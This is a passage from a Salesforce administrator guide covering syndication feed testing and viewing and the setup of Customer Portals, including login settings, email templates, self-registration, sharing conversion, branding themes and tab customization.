Use the following procedure to specify a custom label in a feed:


1. Create a custom label using the information in Creating and Editing Custom Labels on page 1727. You may wish to name
the custom label after the mapping element that takes its value, for example feedTitle for the ft element.
2. Enter the values for all supported languages.

1661

Force.com Sites

Testing Syndication Feeds

3. Specify the custom label in the feed mapping.


For example, assume that you create a feed containing information on all the houses your company is trying to sell. For English
users, the title of the feed should be The Houses, but for Spanish users, the title of the feed should be Las Casas. You
would create a custom label, for example, feedTitle. In English, its value is The Houses, and the Spanish value is Las
Casas. Then, in the feed mapping definition, specify the following for the feed title fc::
ft: "{!$LABEL.feedTitle}"

Visualforce and Feeds


To add a feed to a Visualforce page, use the Visualforce standard HTML features. For example, assuming the Visualforce
page is located in the base directory of the site, it can contain a tag like the following:
<A HREF=""/services/xml/theFeedName">My feed</A>

The text My feed links to the feed.


If you want to link the feed from an image, include an inline image tag similar to the following:
<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

You must upload your own image.


To add the icon to the address bar, add the link tag to the <head> tag of the Visualforce page:
<link href='URI of feed'
type='application/x.atom+xml'
rel='feed'
title='A nice descriptive title'/>

For more information about Visualforce, see the Visualforce Developer's Guide.

See Also:
About Syndication Feeds
Testing Syndication Feeds

Testing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition:

Modify All Data

Subscribe to a feed

No special user permission required

Test the feed definition you have created before enabling it for customers.
To test a feed:

1662

Force.com Sites

Viewing Syndication Feeds

1. After creating a feed, navigate to Your Name > Setup > Sites and click the site for which you've defined the feed.
Alternatively, you can navigate to the feed detail page any number of ways, including clicking the feed name from the site
detail page.
2. Click Preview for the feed you wish to test.
3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable.
4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save
the bookmark, or cancel the dialog.
5. The values returned by your feed are displayed. Verify that the results are what you expected.

See Also:
Defining Syndication Feeds
About Syndication Feeds

Viewing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition:

Modify All Data

Subscribe to a feed

No special user permission required

View the syndication feed definition, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create.
Description
Describes the feed. For example, Account first name, last name, and region for the last ten accounts created or edited.
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1658.
Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see Defining Syndication Feeds on page 1658.
Max Cache Age Seconds
Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default.
This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time

1663

Customer Portal

Setting Up Your Customer Portal

specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.
Active
This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of
subscribing to it.

See Also:
Defining Syndication Feeds
About Syndication Feeds
Testing Syndication Feeds

CUSTOMER PORTAL
Setting Up Your Customer Portal
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

A Salesforce Customer Portal provides an online support channel for your customersallowing them to resolve their inquiries
without contacting a customer service representative. With a Customer Portal, you can customize and deliver a visually stunning
user interface to your customers, and use the following Salesforce features to help you and your customers succeed:

Determine which pages and fields customers see with page layouts and field-level security
Manage customers with profiles, permission sets, roles, and sharing rules
Provide and organize documents via Salesforce CRM Content or the Documents tab
Create a knowledge base for your customers using Salesforce Knowledge
Allow customers to participate in Salesforce CRM Ideas communities.
Display and collect data that is unique to your organization with custom objects
Display custom s-controls and content from other websites via Web tabs
Provide customized reports via the Reports tab
Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service
Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud
Portal Users) on page 1702.

Setting up your Customer Portal consists of the following steps:

1664

Customer Portal

Setting Up Your Customer Portal

1. Enable the Customer Portal.


2. Create one or more portals.
For each portal:
a. Configure the settings and communication templates.
You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set
Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For
more information, see Creating Multiple Customer Portals on page 1667.
The Convert Portal User Access wizard automatically displays after the first time you save settings for your first portal,
whether it is the Customer Portal or partner portal. You can use this wizard to help ensure that records and folders
owned by Salesforce users are not shared with portal users.
b. Customize the fonts and colors.
c. Customize the available tabs and tab order.
d. Configure portal languages.
3. Optionally, if available to your portal user licenses, you can enable Salesforce CRM Content, Ideas, Answers, Entitlement
Management or Salesforce Knowledge as needed.
4. Create Customer Portal profiles.
For each profile:
a. Customize page layouts. See Customizing Your Customer Portal Pages.
For set up tips and general information about Salesforce Customer Portal pages, see Setup Tips and Considerations
for Customer Portal Pages on page 1684.
b. Customize list views. See Creating Custom List Views on page 272.
Customer Portal users can automatically see any list view with visibility settings marked Visible to all users.
We recommend that you create specific list views on all objects accessible to portal users, and then assign portal users
to only the list views you want them to view.
c. Customize search layouts. See Customizing Search Layouts on page 1303.
The search layouts in your Salesforce organization are the same search layouts used in your Customer Portal. Verify
that search layouts on objects accessible to portal users only include fields you want them to view in search results.
5. Set up workflow:
a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce users
or queues by using the criteria Current User: User Type contains Customer Portal. For more
information, see Setting Up Assignment Rules on page 1306 and Managing Workflow Rules on page 1777.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is
created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add
a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do
Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1306.
b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on
your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between
Auto-Response Rules and Workflow Alerts on page 1315.

1665

Customer Portal

Setting Up Your Customer Portal

6. Configure portal user access.


7. Grant high-volume portal users access to objects.
8. Optionally, enable single sign-on.
9. Enable login on each Customer Portal.
10. Add a link on your organization's website to the portal.
Users can navigate to your Customer Portal after you copy the Login URL from your portal's settings and paste it into
the HTML of your website. For more information, see Enabling Customer Portal Login and Settings on page 1671.
11. Enable contacts to use your portal.
To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 1391.
Note: Contact salesforce.com about activating a Customer Portal for your organization.

See Also:
Customer Portal Setup Limits
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Creating Multiple Customer Portals
Enabling Single Sign-On for Portals

Enabling Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable the Customer Portal:

Customize Application

To enable the Salesforce Customer Portal:


1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Edit.
Select Enable Customer Portal.
Click Save.
Continue setting up the portal.

Tips on Enabling the Customer Portal


Consider the following when enabling the Customer Portal:

After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of
your customers.
These items become available after you enable the Customer Portal:

1666

Customer Portal

Setting Up Your Customer Portal

The High Volume Customer Portal, Authenticated Website, Customer Portal Manager, and Customer Portal User
profiles, if you purchased user licenses for them.
The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records.
The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing
rule category.

After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See
Enabling Customer Portal Login and Settings on page 1671.

See Also:
Setting Up Your Customer Portal
Enabling Salesforce CRM Content in the Customer Portal
About Customer Portal User Management
Enabling the Customer Portal for Contacts and Person Accounts

Creating Multiple Customer Portals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create multiple Customer Portals:

Customize Application

After you have enabled the Salesforce Customer Portal, you can create multiple Customer Portals to satisfy the various business
needs of your customers.
To create more than one Customer Portal:
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. Click New.
3. Follow the same steps used to set up your organization's first Customer Portal. See Setting Up Your Customer Portal on
page 1664.
Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your
organization.
Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best
practices.
Implementation Tips

Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select
the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select
the Active checkbox next to the profile you want to assign to the portal.
A portal user can access all the Customer Portals assigned to his or her profile with one username and password.

1667

Customer Portal

Setting Up Your Customer Portal

You can view the number of active users associated with each profile assigned to a Customer Portal by creating a custom
summary report and adding Profile to your report columns. See Administrative Reports on page 3022.

The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain
a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that
portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page.
The settings on the following items apply to both your organization and your Customer Portals:

List views
Search layouts
Case assignment rules
Workflow alerts

Best Practices

Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you
create, you can build a Customer Portal for each product and customer service level supported by your organization. For
example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique
Customer Portal for each.
Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default
Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings
determine the email templates to use when sending email notifications, such as a new case comment or a reset password,
to portal users whose profiles are associated with more than one Customer Portal.
By default, sample templates are automatically selected for you in the New User Template, New Password Template,
and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment
Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these
fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when
new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create
templates or modify the samples, see Managing Email Templates on page 472. Email templates must be marked as
Available for Use to be sent to portal users.
Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you
create default email templates that do not contain portal-specific branding.

You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login
Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1671.
You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile
has access to each object displayed on a tab. For more information, see Viewing and Editing Tab Settings in Permission
Sets and Profiles and Customizing Your Customer Portal Tabs on page 1681.

See Also:
Setting Up Your Customer Portal
About Customer Portal User Management
Customizing Your Customer Portal Tabs
Administrator setup guide: Salesforce Customer Portal Implementation Guide

1668

Customer Portal

Setting Up Your Customer Portal

About the Convert Portal User Access Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules:

Manage Users

Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have
access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate
access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard
to help ensure that no records or folders are shared with a portal user. The wizard affects the following:
Sharing Rules
The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates
data set category to include the Roles and Internal Subordinates data set category instead.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified
role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles
and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views,
documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and
Internal Subordinates.
Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy.
The Roles and Internal Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy and enable a portal.
Folder Sharing
The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard,
or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles
and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using
the wizard is more efficient than locating various folders in Salesforce and setting their access levels individually.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually
update the access levels on those folders.

1669

Customer Portal

Setting Up Your Customer Portal

When you first save a Customer Portal or partner portal, Salesforce automatically displays the Convert Portal User Access
wizard.

See Also:
Using the Convert Portal User Access Wizard
Configuring User Access to the Customer Portal
Enabling Your Customer Portal
Enabling the Partner Portal
Using the Convert Portal User Access Wizard
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules:

Manage Users

When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that
no records or folders are shared with a portal user.
To use the wizard:
1. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings. For the partner portal,
click Your Name > Setup > Customize > Partners > Settings.
2. Click the Convert Portal User Access link.
3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates.
If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step.
4. Click Next.
5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update
the access levels on those folders.
A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role,
Internal and Portal Subordinates category to which a folder is shared.
6. Click Next.
7. Click Save to apply your selected changes.

See Also:
About the Convert Portal User Access Wizard

1670

Customer Portal

Setting Up Your Customer Portal

Enabling Customer Portal Login and Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable login and settings for the Customer Portal:

Customize Application

1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. Click Edit next to the name of the Salesforce Customer Portal you want to customize.
3. Set the following options:
Setting

Description

Name

Name of the Customer Portal as displayed on the portal's


detail and edit pages, as well as the Customer Portal Setup
page. The name of the Customer Portal is not displayed on
portal pages, but it does display in the browser title bar.
The name of your portal must be unique for your
organization and not already in use by a Customer Portal or
partner portal. Furthermore, an error may occur if you name
a Customer Portal partner portal or vice versa.

Description

A description of the Customer Portal as displayed on the


portal's detail and edit pages. The description of the
Customer Portal is not displayed in the portal.

Login Enabled

Allows users to log in to the Customer Portal.


We recommend that you do not select this checkbox until
you have completed the steps described in Setting Up Your
Customer Portal.

Administrator

Click the lookup icon ( ) to choose a default administrator


for your Customer Portal. All email notifications regarding
users who self-register for your Customer Portal will be sent
to this Salesforce user.
Notifications include information about registration errors
and any other issues self-registering customers may
experience, such as inadvertently entering duplicate email
addresses, creating duplicate contact records, and exceeding
your organization's user license limit.
When choosing an administrator for your Customer Portal,
you can only select users that have the Edit Self-Service
Users permission. Furthermore, you cannot deactivate a

1671

Customer Portal

Setting

Setting Up Your Customer Portal

Description
user selected as a portal administrator. For more information,
see Deactivating Users on page 509.

Portal Default Settings


Setting

Description

Login URL

The URL of the Web page that displays when users log in
to your Customer Portal.
You can click this URL to log in to your portal and interact
with it.
Insert this URL into your website so users can access the
login page to your Customer Portal.
The login URL of each Customer Portal you create contains
a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user
can access. If a user accesses a login URL that does not
contain a unique identifier, they are automatically directed
to the login URL of the first Customer Portal you created.
Note that portal users can only log into a Customer Portal
via the portal's login page and not through the Salesforce
login page.

Logout URL

The URL of the Web page that displays when users log out
of the Customer Portalfor example,
http://www.acme.com. If a logout URL is not specified,
portal users return to the login page when they log out.

Top-Level Category for Portal

The top-level category accessible by customers in the


Customer Portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
This field is available only if you have enabled solution
browsing. See Customizing Solution Settings on page 1389.

Enable Self-Close Case from Suggested


Solutions

Allows users to close cases in the Customer Portal directly


from suggested solutions. For example, when a user views a
suggested solution that helps them solve a case, he or she
can click Yes, please close my case if this setting is enabled.
For more information about suggested solutions, see What
are Suggested Solutions? on page 3248.

Show Action Confirmation

Allows users to view confirmation messages after they


complete an action in the Customer Portal. For example,
after a user creates a case in your Customer Portal, he or she

1672

Customer Portal

Setting Up Your Customer Portal

Portal Default Settings


Setting

Description
views the message Case has been submitted if this setting
has been enabled.
Confirmation messages may help users clearly understand
actions they have completed in your Customer Portal.

HTML Messages Default Language

Specifies the language that portal HTML messages are


displayed in when custom language portal HTML messages
are not configured. This setting is only available for
organizations that have multiple languages enabled.

Email Notification Settings


Setting

Description

From Email Address

The email address from which all Customer Portal


communication templates are sentfor example,
support@acme.com. Salesforce sends the emails
automatically, but they appear to portal users as if they were
sent from this email address. If a portal user responds to a
communication template, the response is sent to this address.

From Email Name

The name associated with the From Email Addressfor


example, Acme Customer Support.

New User Template

The email template used to send a username and initial


password to all newly enabled and self-registering Customer
Portal users. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 472. This
template must be marked as Available for Use.

New Password Template

The email template used to send a new password to existing


Customer Portal users when you reset their passwords. By
default, a sample template is automatically selected for you.
To create your own template or modify the sample, see
Managing Email Templates on page 472. This template must
be marked as Available for Use.

Lost Password Template

The email template used to send a new password to existing


Customer Portal users when they reset their own passwords
by clicking Forgot your password? on the login page of the
Customer Portal. By default, a sample template is
automatically selected for you. To create your own template
or modify the sample, see Managing Email Templates on
page 472. This template must be marked as Available
for Use.

1673

Customer Portal

Setting Up Your Customer Portal

Email Notification Settings


Setting

Description

New Comment Template

The email template used to send a notification to Customer


Portal users when a public comment is added to one of their
cases. To create your own template, see Managing Email
Templates on page 472. This template must be marked as
Available for Use.

Change Owner to Portal User Template

The email template used to send a notification to Customer


Portal users when they become the new owner of a record
in the portal. To create your own template, see Managing
Email Templates on page 472. This template must be marked
as Available for Use.

Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking
the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal
Setup page. For more information, see Creating Multiple Customer Portals on page 1667.
Tip: If you plan to use the same communication template for different objects, such as the Change Owner to
Portal User Template, we recommend that you include text and merge fields on the template that are appropriate
for both objects. For example, if your organization has a Warranty custom object and a Training custom object,
and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template
should read: A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}. When the template is
sent, only the relevant merge fields will display.
Look and Feel
Setting

Description

Header

A text or HTML file that allows you to incorporate your


organizations branding into the header of your Customer
Portal. Click the lookup icon ( ) to choose a file that has
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.
You can position the logout link anywhere on the header by
using the HTML tag: <a
href="/secur/logout.jsp">Logout</a>.

Footer

A text or HTML file that allows you to incorporate your


organizations branding into the footer of your Customer
Portal. Click the lookup icon (

) to choose a file that has

1674

Customer Portal

Setting Up Your Customer Portal

Look and Feel


Setting

Description
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.

Logo

An image file that allows you to incorporate your


organization's branding into the top left header of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab and marked as an Externally
Available Image.
The file you include in the Logo lookup field can be up to
20 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.

Login Message

A text or HTML file that allows you to incorporate your


organizations branding into the header of the login page,
forgot password page, and change password page of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab.
The file you include in the Login Message lookup field
can be up to 2 KB.
Note: JavaScript and CSS code are automatically
removed from HTML files used as the portal login
message.

Self-Registration Settings
Setting

Description

Self-Registration Enabled

Allows existing contacts to register themselves for access to


your Customer Portal.
When you select this checkbox and add the Allow
Customer Portal Self-Registration checkbox to
contact page layouts, contacts whose records are marked
Allow Customer Portal Self-Registration can
view a self-registration area on the Login page of your
Customer Portal. From the self-registration area, users can
enter their email address and click Submit to receive an

1675

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings
Setting

Description
automatically assigned username and password for logging
in to your Customer Portal. Other email notifications sent
to users regarding their registration status include:

Existing user, from which the user can enter another


email address or click a Forgot Password? link to retrieve
his or her password.
New user, which informs the user that the email address
he or she submitted does not match an existing contact
in your organization. If an administrator has
implemented Web-to-Case or Web-to-Lead to capture
new user information, then the user can click a link to
enter his or her information on the appropriate form.
Internal error, which informs the user that an error
occurred during the self-registration process and that
your portal's administrator has been notified about the
error.
Ineligible user, which informs the user that he or she is
not eligible for self-registration to your Customer Portal.
This notification is sent when a submitted email address
matches a contact that does not have the Allow
Customer Portal Self-Registration checkbox
selected. It is also sent when a submitted email address
does not match any contacts, and your administrator has
not set up Web-to-Lead or Web-to-Case to capture new
user information.

Ensure that all required custom fields on users have default


values. Otherwise, users who self-register for your Customer
Portal will receive an error message.
Note that person account users cannot self-register for your
Customer Portal. When person account users self-register
for your Customer Portal, they receive an email notification
that instructs them to contact the portal administrator.
New User Form URL

Allows you to specify the URL of a Web-to-Lead or


Web-to-Case form for users who self-register for access to
your Customer Portal.
The URL to this form is offered via the template selected
in the Registration Error Template field to
self-registering users who lack an existing contact record, so
that their information can be captured and converted to a
contact.

1676

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings
Setting

Description
For more information about setting up Web-to-Lead or
Web-to-Case, see Capturing Web Leads on page 1340 and
Capturing Web Cases on page 1384.

Registration Error Template

The email template sent to users who self-register for your


Customer Portal, but experience a registration error, or need
to complete a Web-to-Case or Web-to-Lead form to register
for your portal. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 472. This
template must be marked as Available for Use.
The From Email Address and From Email Name fields
on Customer Portal settings specify who this template is
sent from.

Default New User License

Click the lookup icon ( ) to choose a default portal user


license for users who self-register for your Customer Portal.

Default New User Role

Click the lookup icon ( ) to choose a default portal role


for users who self-register for your Customer Portal.

Default New User Profile

Click the lookup icon ( ) to choose a default portal profile


for users who self-register for your Customer Portal.
You cannot delete the profile selected as the default portal
profile.

4. Click Save to save your Customer Portal settings.

See Also:
Setting Up Your Customer Portal

1677

Customer Portal

Setting Up Your Customer Portal

Customizing Your Customer Portal Fonts and Colors


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the fonts and colors of the Customer Portal:

Customize Application

You can customize the fonts and colors of the Salesforce Customer Portal to reflect your companys branding. Your portals
fonts and colors are specified in a portal color theme. Select a predefined color theme and, optionally, customize it to better
match your branding. You can click the See examples link to see all of the theme attributes you can customize.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Select the name of your Customer Portal.
Click Change Portal Fonts and Colors.
Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to
create your own theme from scratch. A preview of the color theme you select is automatically displayed in the Preview
sections.
5. Optionally, customize the color of any theme you select by either:

Entering a hexadecimal value into any theme attribute, or


Clicking the hexadecimal value of any theme attribute and selecting a color from the point-and-click editor

When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options,
which, when customized, automatically display in the Preview sections:
Tab Styles
Theme Attribute

Description

Current Tab Text

Text color of the tab users have selected.

Current Tab Background

Background color of the tab users have selected.

Current Tab Border

Border color of the tab users have selected.

Other Tab Text

Text color of the tabs users have not selected.

Other Tab Background

Background color of the tabs users have not selected.

Other Tab Border

Border color of the tabs users have not selected.

Tab Bar Background

Background color behind all tabs.

Page Styles
Theme Attribute

Description

Page Background

Portal background color, excluding search, related lists,


recent items, solution categories, document folders, and the
Create New drop-down list.

1678

Customer Portal

Setting Up Your Customer Portal

Page Styles
Theme Attribute

Description

Text

Text color, size, and font on all portal items, except for tabs,
buttons, headers, and field labels.
Optionally, you can change the number in the percent field
to increase or decrease the size of all portal items.
Additionally, you can change the font of all portal items,
except for tabs, buttons, headers, and field labels from the
drop-down list.

Field Label Text

Text color of the field names on records.


Optionally, you can change the font of the text from the
drop-down list.

Link

Text color of all links.

Link Hover

Text color of all links when a user hovers the mouse over
them.

Field Separator

Color of the lines that separate fields on records.

Bottom Border

Color of the line bordering the bottom of the portal.

Section Styles
Theme Attribute

Description

Header Background

Background color of all headings, including search, recent


items, related lists, solution categories, documents folders,
and the selected tab.

Section Header Text

Text color and font on the headers of search, related lists,


recent items, solution categories, and document folders.
Optionally, you can change the font of the text from the
drop-down list.

Left Border

Border to the left of search, related lists, recent items,


solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number in the pixel field to
increase or decrease the thickness of the border. Additionally,
you can select the style of the line displayed for the border
from the drop-down list.

1679

Customer Portal

Setting Up Your Customer Portal

Section Styles
Theme Attribute

Description

Right Border

Border to the right of search, related lists, recent items,


solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number in the pixel field to
increase or decrease the thickness of the border. Additionally,
you can select the style of the line displayed for the border
from the drop-down list.

Top Border

Border above search, related lists, recent items, solution


categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number in the pixel field to
increase or decrease the thickness of the border. Additionally,
you can select the style of the line displayed for the border
from the drop-down list.

Bottom Border

Border underneath search, related lists, recent items, solution


categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number in the pixel field to
increase or decrease the thickness of the border. Additionally,
you can select the style of the line displayed for the border
from the drop-down list.

Section Background

Background color of search, related lists, recent items,


solution categories, document folders, and the Create New
drop-down list.

List Styles
Theme Attribute

Description

List Header Text

Text color of the field names selected as column headings


on list views.
Optionally, you can change the font of the text from the
drop-down list.

Header Underline

Color of the lines underneath column headings on related


lists and list views.

Separator

Color of the lines between records on list views.

Row Highlight

Color of a record when a user hovers the mouse over it on


list views.

1680

Customer Portal

Setting Up Your Customer Portal

6. Click Save to save all changes to the theme values.


Tip: Changes are visible to Customer Portal users when they refresh their browsers. Therefore, we recommend
updating your portal color theme at times when users are least likely to visit your Customer Portal.

Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and
Settings on page 1671.

See Also:
Setting Up Your Customer Portal
Customizing Your Customer Portal Tabs

Customizing Your Customer Portal Tabs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Customer Portal tabs:

Customize Application

The Salesforce Customer Portal can display the following tabs:

Answers
Articles
Ideas
Home
Cases
Reports
Solutions
Web tabs
Entitlements
Custom objects
Service contracts
Chatter Answers
Documents from the Documents tab
Salesforce CRM Content tabs: Libraries, Content, and Subscriptions

Additionally, the Customer Portal can display the following tabs to delegated portal user administrators:

Accounts
Contacts

1681

Customer Portal

Setting Up Your Customer Portal

To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to
portal users:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Select the name of the Customer Portal whose tabs you want to customize.
Click Customize Portal Tabs.
To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the
Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down
arrow.
5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log
into your portal.
6. Click Save.
You can further specify which tabs users can access by editing tab settings in users associated profiles and permission sets. See
Viewing and Editing Tab Settings in Permission Sets and Profiles.
Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as
they have access to each object displayed on a tab.
To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default
On in all Customer Portal profiles.
Allowing Portal Users to View Web Tabs
To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more
information, see Creating Web Tabs on page 1773.
Granting Portal Users Access to the Documents Tab
To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce Documents
tab that contain the files you want them to view. For more information, see Document Library Overview on page 247 and
Creating and Editing Folders on page 1319.
Allowing Portal Users to View the Reports Tab
To allow portal users to view a Reports tab:
1. Grant portal users access to the folders on your Salesforce Reports tab that contain the reports you want them to run.
2. Set the organization-wide default sharing model to Private on objects you want portal users to report on.
3. Assign portal users to permission sets or profiles that include the Run Reports permission.
When you add the Reports tab to your Customer Portal, portal users:

Cannot customize reports or filter report results; they can only run reports.
Can export reports to Excel if they have the Export Reports permission.
Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders.
Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view.

Providing Portal Users with Access to the Ideas Tab


To allow portal users to access the Ideas tab, create a Salesforce CRM Ideas community that is active and configured to display
in the portal. For more information, see Creating and Editing Communities on page 1536 and Enabling Salesforce CRM Ideas
in the Customer Portal on page 1694.

1682

Customer Portal

Setting Up Your Customer Portal

If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding
tabs, see Customizing Your Customer Portal Tabs on page 1681.
Allowing Portal Users to Access Salesforce CRM Content Tabs
To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal on
page 1690.

See Also:
Setting Up Your Customer Portal
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal

Customizing Your Customer Portal Pages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify page layouts:

Customize Application

To assign page layouts to profiles:

Manage Users

You can customize your Salesforce Customer Portal pages just as you customize pages in Salesforce: with page layouts.
Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They
also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages
that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce
pages, and determine whether or not a label and scroll bars display.
